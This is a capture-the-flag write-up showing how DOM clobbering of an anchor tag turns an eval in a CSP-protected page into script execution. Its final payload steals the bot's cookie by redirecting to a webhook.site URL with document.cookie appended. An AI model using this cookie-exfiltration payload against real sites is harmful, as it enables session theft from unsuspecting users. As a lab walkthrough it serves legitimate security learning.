Scope

The text that came as description with the CTF was the following:

Today I learned about CSP. This seems to completely solve all web related vulnerabilities, right?? Hint: Make sure that you locally test with Chrome, not with Firefox.

The files included in the challenge are:

Clobbers
├─ Dockerfile
├─ bot.py
├─ server.py

Walkthrough

The flag is stored as a cookie on a pseudo-client-instance created by the bot with playwright:

def visit(post_id):
    with sync_playwright() as playwright:
        chromium = playwright.chromium
        browser = chromium.launch()
        context = browser.new_context()
        
        # Set cookies before navigation
        context.add_cookies([
            {
                'name': 'FLAG',
                'value': os.environ.get("FLAG", "stairctf{placeholder_flag}"),
                'domain': 'localhost:5000',
                'path': '/'
            }
        ])

        page = context.new_page()
        page.goto("http://localhost:5000/posts/"+post_id)
        time.sleep(0.5)
        browser.close()

And of course there is also an eval involved, specifically in a template in the server.py there is this piece of code:

  <script nonce="{{ nonce }}">
      window.onload = function() {
          var admin = window.admin || {};
          // converting the number to a string
          if(admin.account) {
              window.account = eval('"'+ admin.account + '"')
          }
      };
  </script>

Now how do we exploit this?

XSS

The site itself is a very simple page showing an input field and a submit button for submitting a “Post”. The input field contains the hint “Write your post here, html is supported”. This can be confirmed when entering something like this:

<b>Hello there</b>

After submitting the post, we get redirected to a page where the text appears in bold together with a “Report” button.

However when we try to input a script tag like this:

<script>alert(1)</script>

Or the prime example:

<img scr="" onerror=alert(1)>

It will not execute the code inside because of the CSP restriction. The web-console in the browser confirms this with the message:

Content-Security-Policy: The page’s settings blocked an inline script (script-src-elem) from being executed because it violates the following directive: “script-src ‘self’ ’nonce-c3d4ef3f7dba94a851edfcb4927a89ff’”

Sadness :(

DOM-clobbering

After some research I stumbled upon this article from hacktricks XSS cross site scripting - DOM clobbering

I never heard of this name before but it describes the fact that when there are certain HTML tags (i.e. embed, form, iframe, image, img and object) with IDs, they can be accessed in JS like an object. Really viable for exploitation however are only anchor tags. This because of the fact that when the .toString() method is executed on such an object normally it would return something like [object HTMLFormElement], but when used on an anchor element the .toString() method returns the value of href and we can control this value.

So for example, when we inject the following element:

<a href="Hello World" id="anchor"></a>

The code console.log(anchor) will print “Hello World”.

Exploit

Ok now back to the eval. As seen from earlier when the page is loaded the script code checks if there is an admin object present and if so if admin.account is non-null. Should this be the case, then whatever is in admin.account will be parsed inside an eval-statement. Now that sounds promising. All we need to do now is to craft a suitable anchor tag.

The element will always be a sub-element of window, so the ID of the anchor tag needs to be admin like this:

<a id=admin></a>

However, not admin but admin.account will be executed. To simulate the account-property we can just set the name value to ‘account’. Like this:

<a id=admin name=account></a>

Now how do we exploit this: window.account = eval('"'+ admin.account + '"')?

Well first of all we need to escape the string but we can’t put normal double quotes into our href value, because they will get URL-encoded and are therefore useless. But hacktricks also give a solution for this: cid:&quot

These “quotes” will get decoded at runtime and evaluated by the eval statement.

Let’s test it:

<a id=admin name=account href='cid:&quot;;alert(1)//'></a>

(don’t forget the two slashes to comment everything to the right of our injected code)

When injecting this it actually prompts me! :D

Final steps

Since we can get the bot to visit our post we need to extract his cookie and “send” it to us somehow. “Extracting” the cookie is easy since we can access it with document.cookie.

This was the hardest part for me I spent so much time figuring something out but in the end it was so simple…

Fetch requests are still not allowed, but we can achieve a redirect by changing the window.location object, or by setting window.location.href to a custom URL to be more precise.

What is this good for?

Well there are nice services like webhook.site which basically assigns you temporarily a custom URL and displays all requests made to this URL. So when we make a request to this URL with the cookie as URL argument this should work.

Let’s test it:

<a id=admin name=account href='cid:&quot;;window.location.href="https://webhook.site/<webhook-id>/&quot;+document.cookie//'></a>

The consequence of this is, that we also get redirected when submitting it, so we can’t directly report the post. But all that is necessary is a POST request to the /report/<post-id> URL. When opening the dev-tools in the browser in the “Network” tab with the history enabled, we can see the GET request to our recently created post (from which we got redirected to webhook.site) in which the post ID is also visible. With the post ID we can execute this command:

curl -X POST "https://<session-id>.ctf.stair.ch:1337/report/<post-id>"

After that there should be a request in our webhook history which looks something like this:

https://webhook.site/<personal-webhook-id>/stairctf{flag}

yay :)